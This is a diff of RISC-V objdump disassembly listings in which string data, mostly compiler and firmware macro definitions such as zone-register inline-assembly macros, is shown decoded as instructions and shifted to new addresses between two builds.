-    8ece:	3061                	jal	8756 <__stack_size+0x7f56>
-    8ed0:	202c                	fld	fa1,64(s0)
-    8ed2:	20223b33          	0x20223b33
-    8ed6:	7a6d                	lui	s4,0xffffb
-    8ed8:	20656e6f          	jal	t3,5f0de <__stack_size+0x5e8de>
-    8edc:	203a                	fld	ft0,392(sp)
-    8ede:	3d22                	fld	fs10,40(sp)
-    8ee0:	2272                	fld	ft4,280(sp)
-    8ee2:	6128                	flw	fa0,64(a0)
-    8ee4:	2930                	fld	fa2,80(a0)
-    8ee6:	202c                	fld	fa1,64(s0)
-    8ee8:	3d22                	fld	fs10,40(sp)
-    8eea:	2272                	fld	ft4,280(sp)
-    8eec:	6128                	flw	fa0,64(a0)
-    8eee:	2932                	fld	fs2,264(sp)
-    8ef0:	222c                	fld	fa1,64(a2)
-    8ef2:	723d                	lui	tp,0xfffef
-    8ef4:	2822                	fld	fa6,8(sp)
-    8ef6:	3361                	jal	8c7e <__stack_size+0x847e>
-    8ef8:	2c29                	jal	9112 <__stack_size+0x8912>
-    8efa:	3d22                	fld	fs10,40(sp)
-    8efc:	2272                	fld	ft4,280(sp)
-    8efe:	6128                	flw	fa0,64(a0)
-    8f00:	2934                	fld	fa3,80(a0)
-    8f02:	222c                	fld	fa1,64(a2)
-    8f04:	723d                	lui	tp,0xfffef
-    8f06:	2822                	fld	fa6,8(sp)
-    8f08:	3561                	jal	8d90 <__stack_size+0x8590>
-    8f0a:	2029                	jal	8f14 <__stack_size+0x8714>
-    8f0c:	203a                	fld	ft0,392(sp)
-    8f0e:	7222                	flw	ft4,40(sp)
-    8f10:	2822                	fld	fa6,8(sp)
-    8f12:	6928                	flw	fa0,80(a0)
-    8f14:	746e                	flw	fs0,248(sp)
-    8f16:	7a29                	lui	s4,0xfffea
-    8f18:	29656e6f          	jal	t3,5f1ae <__stack_size+0x5e9ae>
-    8f1c:	3a20                	fld	fs0,112(a2)
-    8f1e:	2220                	fld	fs0,64(a2)
-    8f20:	3161                	jal	8ba8 <__stack_size+0x83a8>
-    8f22:	2922                	fld	fs2,8(sp)
-    8f24:	282a203b          	0x282a203b
-    8f28:	7528                	flw	fa0,104(a0)
-    8f2a:	6e69                	lui	t3,0x1a
-    8f2c:	3374                	fld	fa3,224(a4)
-    8f2e:	5f32                	lw	t5,44(sp)
-    8f30:	2074                	fld	fa3,192(s0)
-    8f32:	292a                	fld	fs2,136(sp)
-    8f34:	6d28                	flw	fa0,88(a0)
-    8f36:	302b6773          	csrrsi	a4,medeleg,22
-    8f3a:	342a                	fld	fs0,168(sp)
-    8f3c:	2929                	jal	9356 <__stack_size+0x8b56>
-    8f3e:	3d20                	fld	fs0,120(a0)
-    8f40:	6120                	flw	fs0,64(a0)
-    8f42:	3b32                	fld	fs6,296(sp)
-    8f44:	2a20                	fld	fs0,80(a2)
-    8f46:	2828                	fld	fa0,80(s0)
-    8f48:	6975                	lui	s2,0x1d
-    8f4a:	746e                	flw	fs0,248(sp)
-    8f4c:	745f3233          	0x745f3233
-    8f50:	2a20                	fld	fs0,80(a2)
-    8f52:	2829                	jal	8f6c <__stack_size+0x876c>
-    8f54:	736d                	lui	t1,0xffffb
-    8f56:	2a312b67          	0x2a312b67
-    8f5a:	2934                	fld	fa3,80(a0)
-    8f5c:	2029                	jal	8f66 <__stack_size+0x8766>
-    8f5e:	203d                	jal	8f8c <__stack_size+0x878c>
-    8f60:	3361                	jal	8ce8 <__stack_size+0x84e8>
-    8f62:	282a203b          	0x282a203b
-    8f66:	7528                	flw	fa0,104(a0)
-    8f68:	6e69                	lui	t3,0x1a
-    8f6a:	3374                	fld	fa3,224(a4)
-    8f6c:	5f32                	lw	t5,44(sp)
-    8f6e:	2074                	fld	fa3,192(s0)
-    8f70:	292a                	fld	fs2,136(sp)
-    8f72:	6d28                	flw	fa0,88(a0)
-    8f74:	322b6773          	csrrsi	a4,mhcounteren,22
-    8f78:	342a                	fld	fs0,168(sp)
-    8f7a:	2929                	jal	9394 <__stack_size+0x8b94>
-    8f7c:	3d20                	fld	fs0,120(a0)
-    8f7e:	6120                	flw	fs0,64(a0)
-    8f80:	3b34                	fld	fa3,112(a4)
-    8f82:	2a20                	fld	fs0,80(a2)
-    8f84:	2828                	fld	fa0,80(s0)
-    8f86:	6975                	lui	s2,0x1d
-    8f88:	746e                	flw	fs0,248(sp)
-    8f8a:	745f3233          	0x745f3233
-    8f8e:	2a20                	fld	fs0,80(a2)
-    8f90:	2829                	jal	8faa <__stack_size+0x87aa>
-    8f92:	736d                	lui	t1,0xffffb
-    8f94:	2a332b67          	0x2a332b67
-    8f98:	2934                	fld	fa3,80(a0)
-    8f9a:	2029                	jal	8fa4 <__stack_size+0x87a4>
-    8f9c:	203d                	jal	8fca <__stack_size+0x87ca>
-    8f9e:	3561                	jal	8e26 <__stack_size+0x8626>
-    8fa0:	3061203b          	0x3061203b
-    8fa4:	297d203b          	0x297d203b
-    8fa8:	5300                	lw	s0,32(a4)
-    8faa:	44454843          	0x44454843
-    8fae:	465f 4649 204f      	0x204f4649465f
-    8fb4:	0031                	c.nop	12
-    8fb6:	5f5f 4d49 4f50      	0x4f504d495f5f
-    8fbc:	5452                	lw	s0,52(sp)
-    8fbe:	0020                	addi	s0,sp,8
-    8fc0:	5f5f 695f 746e      	0x746e695f5f5f
-    8fc6:	745f3233          	0x745f3233
-    8fca:	645f 6665 6e69      	0x6e696665645f
-    8fd0:	6465                	lui	s0,0x19
-    8fd2:	3120                	fld	fs0,96(a0)
-    8fd4:	5f00                	lw	s0,56(a4)
-    8fd6:	495f 544e 3436      	0x3436544e495f
-    8fdc:	545f 5059 5f45      	0x5f455059545f
-    8fe2:	205f 6f6c 676e      	0x676e6f6c205f
-    8fe8:	6c20                	flw	fs0,88(s0)
-    8fea:	20676e6f          	jal	t3,7f1f0 <__stack_size+0x7e9f0>
-    8fee:	6e69                	lui	t3,0x1a
-    8ff0:	0074                	addi	a3,sp,12
-    8ff2:	696d                	lui	s2,0x1b
-    8ff4:	5f006173          	csrrsi	sp,0x5f0,0
-    8ff8:	4649                	li	a2,18
-    8ffa:	4552                	lw	a0,20(sp)
-    8ffc:	31302047          	fmsub.s	ft0,ft0,fs3,ft6,rdn
-    9000:	3030                	fld	fa2,96(s0)
-    9002:	3030                	fld	fa2,96(s0)
-    9004:	0030                	addi	a2,sp,8
-    9006:	465f 5243 4145      	0x41455243465f
-    900c:	2054                	fld	fa3,128(s0)
-    900e:	7830                	flw	fa2,112(s0)
-    9010:	3230                	fld	fa2,96(a2)
-    9012:	3030                	fld	fa2,96(s0)
-    9014:	5f00                	lw	s0,56(a4)
-    9016:	725f 6e61 6567      	0x65676e61725f
-    901c:	7428666f          	jal	a2,8f75e <__stack_size+0x8ef5e>
-    9020:	7079                	c.lui	zero,0xffffe
-    9022:	2c65                	jal	92da <__stack_size+0x8ada>
-    9024:	72617473          	csrrci	s0,0x726,2
-    9028:	2c74                	fld	fa3,216(s0)
-    902a:	6e65                	lui	t3,0x19
-    902c:	2964                	fld	fs1,208(a0)
-    902e:	2820                	fld	fs0,80(s0)
-    9030:	5f5f 666f 7366      	0x7366666f5f5f
-    9036:	7465                	lui	s0,0xffff9
-    9038:	7428666f          	jal	a2,8f77a <__stack_size+0x8ef7a>
-    903c:	7079                	c.lui	zero,0xffffe
-    903e:	2c65                	jal	92f6 <__stack_size+0x8af6>
-    9040:	6520                	flw	fs0,72(a0)
-    9042:	646e                	flw	fs0,216(sp)
-    9044:	2029                	jal	904e <__stack_size+0x884e>
-    9046:	202d                	jal	9070 <__stack_size+0x8870>
-    9048:	5f5f 666f 7366      	0x7366666f5f5f
-    904e:	7465                	lui	s0,0xffff9
-    9050:	7428666f          	jal	a2,8f792 <__stack_size+0x8ef92>
-    9054:	7079                	c.lui	zero,0xffffe
-    9056:	2c65                	jal	930e <__stack_size+0x8b0e>
-    9058:	7320                	flw	fs0,96(a4)
-    905a:	6174                	flw	fa3,68(a0)
-    905c:	7472                	flw	fs0,60(sp)
-    905e:	2929                	jal	9478 <__stack_size+0x8c78>
-    9060:	5f00                	lw	s0,56(a4)
-    9062:	585f4353          	0x585f4353
-    9066:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    906a:	565f 5245 4953      	0x49535245565f
-    9070:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    9074:	3630                	fld	fa2,104(a2)
-    9076:	5f00                	lw	s0,56(a4)
-    9078:	6d5f 6c61 6f6c      	0x6f6c6c616d5f
-    907e:	696c5f63          	bge	s8,s6,971c <__stack_size+0x8f1c>
-    9082:	5f20656b          	0x5f20656b
-    9086:	615f 7474 6972      	0x69727474615f
-    908c:	7562                	flw	fa0,56(sp)
-    908e:	6574                	flw	fa3,76(a0)
-    9090:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    9096:	616d                	addi	sp,sp,240
-    9098:	6c6c                	flw	fa1,92(s0)
-    909a:	5f5f636f          	jal	t1,ffe8e <__stack_size+0xff68e>
-    909e:	2929                	jal	94b8 <__stack_size+0x8cb8>
-    90a0:	5f00                	lw	s0,56(a4)
-    90a2:	5f5f 6e69 5f74      	0x5f746e695f5f
-    90a8:	7470                	flw	fa2,108(s0)
-    90aa:	6472                	flw	fs0,28(sp)
-    90ac:	6669                	lui	a2,0x1a
-    90ae:	5f66                	lw	t5,120(sp)
-    90b0:	5f74                	lw	a3,124(a4)
-    90b2:	2068                	fld	fa0,192(s0)
-    90b4:	5f00                	lw	s0,56(a4)
-    90b6:	475f 4343 415f      	0x415f4343475f
-    90bc:	4f54                	lw	a3,28(a4)
-    90be:	494d                	li	s2,19
-    90c0:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
-    90c4:	5241                	li	tp,-16
-    90c6:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    90cc:	5246                	lw	tp,112(sp)
-    90ce:	4545                	li	a0,17
-    90d0:	3120                	fld	fs0,96(a0)
+    8d54:	555f 4e49 5f54      	0x5f544e49555f
+    8d5a:	454c                	lw	a1,12(a0)
+    8d5c:	5341                	li	t1,-16
+    8d5e:	3354                	fld	fa3,160(a4)
+    8d60:	5f32                	lw	t5,44(sp)
+    8d62:	5954                	lw	a3,52(a0)
+    8d64:	4550                	lw	a2,12(a0)
+    8d66:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    8d6c:	6e752067          	0x6e752067
+    8d70:	6e676973          	csrrsi	s2,0x6e6,14
+    8d74:	6465                	lui	s0,0x19
+    8d76:	6920                	flw	fs0,80(a0)
+    8d78:	746e                	flw	fs0,248(sp)
+    8d7a:	5f00                	lw	s0,56(a4)
+    8d7c:	445f 4c42 4d5f      	0x4d5f4c42445f
+    8d82:	4e49                	li	t3,18
+    8d84:	455f 5058 5f5f      	0x5f5f5058455f
+    8d8a:	2820                	fld	fs0,80(s0)
+    8d8c:	312d                	jal	89b6 <__stack_size+0x81b6>
+    8d8e:	3230                	fld	fa2,96(a2)
+    8d90:	2931                	jal	91ac <__stack_size+0x89ac>
+    8d92:	5f00                	lw	s0,56(a4)
+    8d94:	465f 544c 3436      	0x3436544c465f
+    8d9a:	5f58                	lw	a4,60(a4)
+    8d9c:	494d                	li	s2,19
+    8d9e:	5f4e                	lw	t5,240(sp)
+    8da0:	5845                	li	a6,-15
+    8da2:	5f50                	lw	a2,60(a4)
+    8da4:	205f 2d28 3631      	0x36312d28205f
+    8daa:	29313833          	0x29313833
+    8dae:	5f00                	lw	s0,56(a4)
+    8db0:	4e5f 4c55 414c      	0x414c4c554e5f
+    8db6:	4942                	lw	s2,16(sp)
+    8db8:	494c                	lw	a1,20(a0)
+    8dba:	5954                	lw	a3,52(a0)
+    8dbc:	505f 4152 4d47      	0x4d474152505f
+    8dc2:	5f41                	li	t5,-16
+    8dc4:	5550                	lw	a2,44(a0)
+    8dc6:	00204853          	fadd.s	fa6,ft0,ft2,rmm
+    8dca:	525f 4545 544e      	0x544e4545525f
+    8dd0:	4d5f 5242 454c      	0x454c52424d5f
+    8dd6:	5f4e                	lw	t5,240(sp)
+    8dd8:	54415453          	0x54415453
+    8ddc:	2845                	jal	8e8c <__stack_size+0x868c>
+    8dde:	7470                	flw	fa2,108(s0)
+    8de0:	2972                	fld	fs2,280(sp)
+    8de2:	2820                	fld	fs0,80(s0)
+    8de4:	7028                	flw	fa0,96(s0)
+    8de6:	7274                	flw	fa3,100(a2)
+    8de8:	2d29                	jal	9402 <__stack_size+0x8c02>
+    8dea:	5f3e                	lw	t5,236(sp)
+    8dec:	656e                	flw	fa0,216(sp)
+    8dee:	725f2e77          	0x725f2e77
+    8df2:	6565                	lui	a0,0x19
+    8df4:	746e                	flw	fs0,248(sp)
+    8df6:	5f2e                	lw	t5,232(sp)
+    8df8:	626d                	lui	tp,0x1b
+    8dfa:	6c72                	flw	fs8,28(sp)
+    8dfc:	6e65                	lui	t3,0x19
+    8dfe:	735f 6174 6574      	0x65746174735f
+    8e04:	0029                	c.nop	10
+    8e06:	505f 5f43 4552      	0x45525f43505f
+    8e0c:	46585f43          	fmadd.q	ft10,fa6,ft5,fs0,unknown
+    8e10:	5245                	li	tp,-15
+    8e12:	415f 494c 4e47      	0x4e47494c415f
+    8e18:	3120                	fld	fs0,96(a0)
+    8e1a:	0039                	c.nop	14
+    8e1c:	44525f4f          	0x44525f4f
+    8e20:	32205257          	0x32205257
+    8e24:	5f00                	lw	s0,56(a4)
+    8e26:	545f4353          	0x545f4353
+    8e2a:	4152                	lw	sp,20(sp)
+    8e2c:	4c5f4543          	0x4c5f4543
+    8e30:	3820474f          	fnmadd.s	fa4,ft0,ft2,ft7,rmm
+    8e34:	5f5f0037          	lui	zero,0x5f5f0
+    8e38:	4955                	li	s2,21
+    8e3a:	544e                	lw	s0,240(sp)
+    8e3c:	4c5f 4145 5453      	0x545341454c5f
+    8e42:	5f38                	lw	a4,120(a4)
+    8e44:	414d                	li	sp,19
+    8e46:	5f58                	lw	a4,60(a4)
+    8e48:	205f 7830 6666      	0x66667830205f
+    8e4e:	5500                	lw	s0,40(a0)
+    8e50:	4e49                	li	t3,18
+    8e52:	3154                	fld	fa3,160(a0)
+    8e54:	5f36                	lw	t5,108(sp)
+    8e56:	414d                	li	sp,19
+    8e58:	0058                	addi	a4,sp,4
+    8e5a:	5f5f 4343 535f      	0x535f43435f5f
+    8e60:	5055                	c.li	zero,-11
+    8e62:	4f50                	lw	a2,28(a4)
+    8e64:	5452                	lw	s0,52(sp)
+    8e66:	59445f53          	0x59445f53
+    8e6a:	414e                	lw	sp,208(sp)
+    8e6c:	494d                	li	s2,19
+    8e6e:	52415f43          	fmadd.d	ft10,ft2,ft4,fa0,unknown
+    8e72:	4152                	lw	sp,20(sp)
+    8e74:	5f59                	li	t5,-10
+    8e76:	4e49                	li	t3,18
+    8e78:	5449                	li	s0,-14
+    8e7a:	3120                	fld	fs0,96(a0)
+    8e7c:	5500                	lw	s0,40(a0)
+    8e7e:	4e49                	li	t3,18
+    8e80:	5f54                	lw	a3,60(a4)
+    8e82:	414d                	li	sp,19
+    8e84:	0058                	addi	a4,sp,4
+    8e86:	53495f53          	0x53495f53
+    8e8a:	4946                	lw	s2,80(sp)
+    8e8c:	4f46                	lw	t5,80(sp)
+    8e8e:	6d28                	flw	fa0,88(a0)
+    8e90:	2029                	jal	8e9a <__stack_size+0x869a>
+    8e92:	2828                	fld	fa0,80(s0)
+    8e94:	6d28                	flw	fa0,88(a0)
+    8e96:	2629                	jal	91a0 <__stack_size+0x89a0>
+    8e98:	495f 4d46 2954      	0x29544d46495f
+    8e9e:	3d20                	fld	fs0,120(a0)
+    8ea0:	203d                	jal	8ece <__stack_size+0x86ce>
+    8ea2:	495f 4946 4f46      	0x4f464946495f
+    8ea8:	0029                	c.nop	10
+    8eaa:	5a4d                	li	s4,-13
+    8eac:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    8eb0:	4552                	lw	a0,20(sp)
+    8eb2:	7a285643          	fmadd.d	fa2,fa6,ft2,fa5,unknown
+    8eb6:	2c656e6f          	jal	t3,5f17c <__stack_size+0x5e97c>
+    8eba:	736d                	lui	t1,0xffffb
+    8ebc:	28202967          	0x28202967
+    8ec0:	6572207b          	0x6572207b
+    8ec4:	74736967          	0x74736967
+    8ec8:	7265                	lui	tp,0xffff9
+    8eca:	7520                	flw	fs0,104(a0)
+    8ecc:	6e69                	lui	t3,0x1a
+    8ece:	3374                	fld	fa3,224(a4)
+    8ed0:	5f32                	lw	t5,44(sp)
+    8ed2:	2074                	fld	fa3,192(s0)
+    8ed4:	3061                	jal	875c <__stack_size+0x7f5c>
+    8ed6:	6120                	flw	fs0,64(a0)
+    8ed8:	28206d73          	csrrsi	s10,0x282,0
+    8edc:	6122                	flw	ft2,8(sp)
+    8ede:	2230                	fld	fa2,64(a2)
+    8ee0:	3b29                	jal	8bfa <__stack_size+0x83fa>
+    8ee2:	7220                	flw	fs0,96(a2)
+    8ee4:	6765                	lui	a4,0x19
+    8ee6:	7369                	lui	t1,0xffffa
+    8ee8:	6574                	flw	fa3,76(a0)
+    8eea:	2072                	fld	ft0,280(sp)
+    8eec:	6975                	lui	s2,0x1d
+    8eee:	746e                	flw	fs0,248(sp)
+    8ef0:	745f3233          	0x745f3233
+    8ef4:	6120                	flw	fs0,64(a0)
+    8ef6:	2032                	fld	ft0,264(sp)
+    8ef8:	7361                	lui	t1,0xffff8
+    8efa:	206d                	jal	8fa4 <__stack_size+0x87a4>
+    8efc:	2228                	fld	fa0,64(a2)
+    8efe:	3261                	jal	8886 <__stack_size+0x8086>
+    8f00:	2922                	fld	fs2,8(sp)
+    8f02:	6572203b          	0x6572203b
+    8f06:	74736967          	0x74736967
+    8f0a:	7265                	lui	tp,0xffff9
+    8f0c:	7520                	flw	fs0,104(a0)
+    8f0e:	6e69                	lui	t3,0x1a
+    8f10:	3374                	fld	fa3,224(a4)
+    8f12:	5f32                	lw	t5,44(sp)
+    8f14:	2074                	fld	fa3,192(s0)
+    8f16:	3361                	jal	8c9e <__stack_size+0x849e>
+    8f18:	6120                	flw	fs0,64(a0)
+    8f1a:	28206d73          	csrrsi	s10,0x282,0
+    8f1e:	6122                	flw	ft2,8(sp)
+    8f20:	3b292233          	0x3b292233
+    8f24:	7220                	flw	fs0,96(a2)
+    8f26:	6765                	lui	a4,0x19
+    8f28:	7369                	lui	t1,0xffffa
+    8f2a:	6574                	flw	fa3,76(a0)
+    8f2c:	2072                	fld	ft0,280(sp)
+    8f2e:	6975                	lui	s2,0x1d
+    8f30:	746e                	flw	fs0,248(sp)
+    8f32:	745f3233          	0x745f3233
+    8f36:	6120                	flw	fs0,64(a0)
+    8f38:	2034                	fld	fa3,64(s0)
+    8f3a:	7361                	lui	t1,0xffff8
+    8f3c:	206d                	jal	8fe6 <__stack_size+0x87e6>
+    8f3e:	2228                	fld	fa0,64(a2)
+    8f40:	3461                	jal	89c8 <__stack_size+0x81c8>
+    8f42:	2922                	fld	fs2,8(sp)
+    8f44:	6572203b          	0x6572203b
+    8f48:	74736967          	0x74736967
+    8f4c:	7265                	lui	tp,0xffff9
+    8f4e:	7520                	flw	fs0,104(a0)
+    8f50:	6e69                	lui	t3,0x1a
+    8f52:	3374                	fld	fa3,224(a4)
+    8f54:	5f32                	lw	t5,44(sp)
+    8f56:	2074                	fld	fa3,192(s0)
+    8f58:	3561                	jal	8de0 <__stack_size+0x85e0>
+    8f5a:	6120                	flw	fs0,64(a0)
+    8f5c:	28206d73          	csrrsi	s10,0x282,0
+    8f60:	6122                	flw	ft2,8(sp)
+    8f62:	2235                	jal	908e <__stack_size+0x888e>
+    8f64:	3b29                	jal	8c7e <__stack_size+0x847e>
+    8f66:	6120                	flw	fs0,64(a0)
+    8f68:	76206d73          	csrrsi	s10,0x762,0
+    8f6c:	74616c6f          	jal	s8,1f6b2 <__stack_size+0x1eeb2>
+    8f70:	6c69                	lui	s8,0x1a
+    8f72:	2065                	jal	901a <__stack_size+0x881a>
+    8f74:	2028                	fld	fa0,64(s0)
+    8f76:	6d22                	flw	fs10,8(sp)
+    8f78:	2076                	fld	ft0,344(sp)
+    8f7a:	3161                	jal	8c02 <__stack_size+0x8402>
+    8f7c:	202c                	fld	fa1,64(s0)
+    8f7e:	3525                	jal	8da6 <__stack_size+0x85a6>
+    8f80:	2022203b          	0x2022203b
+    8f84:	6c22                	flw	fs8,8(sp)
+    8f86:	2069                	jal	9010 <__stack_size+0x8810>
+    8f88:	3061                	jal	8810 <__stack_size+0x8010>
+    8f8a:	202c                	fld	fa1,64(s0)
+    8f8c:	20223b33          	0x20223b33
+    8f90:	7a6d                	lui	s4,0xffffb
+    8f92:	20656e6f          	jal	t3,5f198 <__stack_size+0x5e998>
+    8f96:	203a                	fld	ft0,392(sp)
+    8f98:	3d22                	fld	fs10,40(sp)
+    8f9a:	2272                	fld	ft4,280(sp)
+    8f9c:	6128                	flw	fa0,64(a0)
+    8f9e:	2930                	fld	fa2,80(a0)
+    8fa0:	202c                	fld	fa1,64(s0)
+    8fa2:	3d22                	fld	fs10,40(sp)
+    8fa4:	2272                	fld	ft4,280(sp)
+    8fa6:	6128                	flw	fa0,64(a0)
+    8fa8:	2932                	fld	fs2,264(sp)
+    8faa:	222c                	fld	fa1,64(a2)
+    8fac:	723d                	lui	tp,0xfffef
+    8fae:	2822                	fld	fa6,8(sp)
+    8fb0:	3361                	jal	8d38 <__stack_size+0x8538>
+    8fb2:	2c29                	jal	91cc <__stack_size+0x89cc>
+    8fb4:	3d22                	fld	fs10,40(sp)
+    8fb6:	2272                	fld	ft4,280(sp)
+    8fb8:	6128                	flw	fa0,64(a0)
+    8fba:	2934                	fld	fa3,80(a0)
+    8fbc:	222c                	fld	fa1,64(a2)
+    8fbe:	723d                	lui	tp,0xfffef
+    8fc0:	2822                	fld	fa6,8(sp)
+    8fc2:	3561                	jal	8e4a <__stack_size+0x864a>
+    8fc4:	2029                	jal	8fce <__stack_size+0x87ce>
+    8fc6:	203a                	fld	ft0,392(sp)
+    8fc8:	7222                	flw	ft4,40(sp)
+    8fca:	2822                	fld	fa6,8(sp)
+    8fcc:	6928                	flw	fa0,80(a0)
+    8fce:	746e                	flw	fs0,248(sp)
+    8fd0:	7a29                	lui	s4,0xfffea
+    8fd2:	29656e6f          	jal	t3,5f268 <__stack_size+0x5ea68>
+    8fd6:	3a20                	fld	fs0,112(a2)
+    8fd8:	2220                	fld	fs0,64(a2)
+    8fda:	3161                	jal	8c62 <__stack_size+0x8462>
+    8fdc:	2922                	fld	fs2,8(sp)
+    8fde:	282a203b          	0x282a203b
+    8fe2:	7528                	flw	fa0,104(a0)
+    8fe4:	6e69                	lui	t3,0x1a
+    8fe6:	3374                	fld	fa3,224(a4)
+    8fe8:	5f32                	lw	t5,44(sp)
+    8fea:	2074                	fld	fa3,192(s0)
+    8fec:	292a                	fld	fs2,136(sp)
+    8fee:	6d28                	flw	fa0,88(a0)
+    8ff0:	302b6773          	csrrsi	a4,medeleg,22
+    8ff4:	342a                	fld	fs0,168(sp)
+    8ff6:	2929                	jal	9410 <__stack_size+0x8c10>
+    8ff8:	3d20                	fld	fs0,120(a0)
+    8ffa:	6120                	flw	fs0,64(a0)
+    8ffc:	3b32                	fld	fs6,296(sp)
+    8ffe:	2a20                	fld	fs0,80(a2)
+    9000:	2828                	fld	fa0,80(s0)
+    9002:	6975                	lui	s2,0x1d
+    9004:	746e                	flw	fs0,248(sp)
+    9006:	745f3233          	0x745f3233
+    900a:	2a20                	fld	fs0,80(a2)
+    900c:	2829                	jal	9026 <__stack_size+0x8826>
+    900e:	736d                	lui	t1,0xffffb
+    9010:	2a312b67          	0x2a312b67
+    9014:	2934                	fld	fa3,80(a0)
+    9016:	2029                	jal	9020 <__stack_size+0x8820>
+    9018:	203d                	jal	9046 <__stack_size+0x8846>
+    901a:	3361                	jal	8da2 <__stack_size+0x85a2>
+    901c:	282a203b          	0x282a203b
+    9020:	7528                	flw	fa0,104(a0)
+    9022:	6e69                	lui	t3,0x1a
+    9024:	3374                	fld	fa3,224(a4)
+    9026:	5f32                	lw	t5,44(sp)
+    9028:	2074                	fld	fa3,192(s0)
+    902a:	292a                	fld	fs2,136(sp)
+    902c:	6d28                	flw	fa0,88(a0)
+    902e:	322b6773          	csrrsi	a4,mhcounteren,22
+    9032:	342a                	fld	fs0,168(sp)
+    9034:	2929                	jal	944e <__stack_size+0x8c4e>
+    9036:	3d20                	fld	fs0,120(a0)
+    9038:	6120                	flw	fs0,64(a0)
+    903a:	3b34                	fld	fa3,112(a4)
+    903c:	2a20                	fld	fs0,80(a2)
+    903e:	2828                	fld	fa0,80(s0)
+    9040:	6975                	lui	s2,0x1d
+    9042:	746e                	flw	fs0,248(sp)
+    9044:	745f3233          	0x745f3233
+    9048:	2a20                	fld	fs0,80(a2)
+    904a:	2829                	jal	9064 <__stack_size+0x8864>
+    904c:	736d                	lui	t1,0xffffb
+    904e:	2a332b67          	0x2a332b67
+    9052:	2934                	fld	fa3,80(a0)
+    9054:	2029                	jal	905e <__stack_size+0x885e>
+    9056:	203d                	jal	9084 <__stack_size+0x8884>
+    9058:	3561                	jal	8ee0 <__stack_size+0x86e0>
+    905a:	3061203b          	0x3061203b
+    905e:	297d203b          	0x297d203b
+    9062:	5300                	lw	s0,32(a4)
+    9064:	44454843          	0x44454843
+    9068:	465f 4649 204f      	0x204f4649465f
+    906e:	0031                	c.nop	12
+    9070:	5f5f 4d49 4f50      	0x4f504d495f5f
+    9076:	5452                	lw	s0,52(sp)
+    9078:	0020                	addi	s0,sp,8
+    907a:	5f5f 695f 746e      	0x746e695f5f5f
+    9080:	745f3233          	0x745f3233
+    9084:	645f 6665 6e69      	0x6e696665645f
+    908a:	6465                	lui	s0,0x19
+    908c:	3120                	fld	fs0,96(a0)
+    908e:	5f00                	lw	s0,56(a4)
+    9090:	435f 5f43 5553      	0x55535f43435f
+    9096:	5050                	lw	a2,36(s0)
+    9098:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    909c:	575f 5241 494e      	0x494e5241575f
+    90a2:	474e                	lw	a4,208(sp)
+    90a4:	3120                	fld	fs0,96(a0)
+    90a6:	5f00                	lw	s0,56(a4)
+    90a8:	495f 544e 3436      	0x3436544e495f
+    90ae:	545f 5059 5f45      	0x5f455059545f
+    90b4:	205f 6f6c 676e      	0x676e6f6c205f
+    90ba:	6c20                	flw	fs0,88(s0)
+    90bc:	20676e6f          	jal	t3,7f2c2 <__stack_size+0x7eac2>
+    90c0:	6e69                	lui	t3,0x1a
+    90c2:	0074                	addi	a3,sp,12
+    90c4:	495f 5246 4745      	0x47455246495f
+    90ca:	3020                	fld	fs0,96(s0)
+    90cc:	3031                	jal	88d8 <__stack_size+0x80d8>
+    90ce:	3030                	fld	fa2,96(s0)
+    90d0:	3030                	fld	fa2,96(s0)
     90d2:	5f00                	lw	s0,56(a4)
-    90d4:	465f 544c 3231      	0x3231544c465f
-    90da:	5f38                	lw	a4,120(a4)
-    90dc:	4148                	lw	a0,4(a0)
-    90de:	55515f53          	0x55515f53
-    90e2:	4549                	li	a0,18
-    90e4:	5f54                	lw	a3,60(a4)
-    90e6:	414e                	lw	sp,208(sp)
-    90e8:	5f4e                	lw	t5,240(sp)
-    90ea:	205f 0031 535f      	0x535f0031205f
-    90f0:	41535f43          	fmadd.s	ft10,ft6,fs5,fs0,unknown
-    90f4:	4556                	lw	a0,84(sp)
-    90f6:	5f44                	lw	s1,60(a4)
-    90f8:	4449                	li	s0,18
-    90fa:	00362053          	fadd.s	ft0,fa2,ft3,rdn
-    90fe:	5f5f 4e53 4642      	0x46424e535f5f
-    9104:	3020                	fld	fs0,96(s0)
-    9106:	3078                	fld	fa4,224(s0)
-    9108:	3030                	fld	fa2,96(s0)
-    910a:	0032                	c.slli	zero,0xc
-    910c:	505f 4854 4552      	0x45524854505f
-    9112:	4441                	li	s0,16
-    9114:	4f5f 434e 5f45      	0x5f45434e4f5f
-    911a:	4e49                	li	t3,18
-    911c:	5449                	li	s0,-14
-    911e:	7b20                	flw	fs0,112(a4)
-    9120:	3120                	fld	fs0,96(a0)
-    9122:	202c                	fld	fa1,64(s0)
-    9124:	2030                	fld	fa2,64(s0)
-    9126:	007d                	c.nop	31
-    9128:	63746567          	0x63746567
-    912c:	6168                	flw	fa0,68(a0)
-    912e:	5f72                	lw	t5,60(sp)
-    9130:	6e75                	lui	t3,0x1d
-    9132:	6f6c                	flw	fa1,92(a4)
-    9134:	64656b63          	bltu	a0,t1,978a <__stack_size+0x8f8a>
-    9138:	2928                	fld	fa0,80(a0)
-    913a:	5f20                	lw	s0,120(a4)
-    913c:	63746567          	0x63746567
-    9140:	6168                	flw	fa0,68(a0)
-    9142:	5f72                	lw	t5,60(sp)
-    9144:	6e75                	lui	t3,0x1d
-    9146:	6f6c                	flw	fa1,92(a4)
-    9148:	64656b63          	bltu	a0,t1,979e <__stack_size+0x8f9e>
-    914c:	2928                	fld	fa0,80(a0)
-    914e:	5f00                	lw	s0,56(a4)
-    9150:	4f4e                	lw	t5,208(sp)
-    9152:	4e49                	li	t3,18
-    9154:	494c                	lw	a1,20(a0)
-    9156:	454e                	lw	a0,208(sp)
-    9158:	535f 4154 4954      	0x49544154535f
-    915e:	4e5f2043          	fmadd.q	ft0,ft10,ft5,fs1,rdn
-    9162:	4c4e494f          	0x4c4e494f
-    9166:	4e49                	li	t3,18
-    9168:	2045                	jal	9208 <__stack_size+0x8a08>
-    916a:	74617473          	csrrci	s0,0x746,2
-    916e:	6369                	lui	t1,0x1a
-    9170:	7300                	flw	fs0,32(a4)
-    9172:	5f74                	lw	a3,124(a4)
-    9174:	7461                	lui	s0,0xffff8
-    9176:	6d69                	lui	s10,0x1a
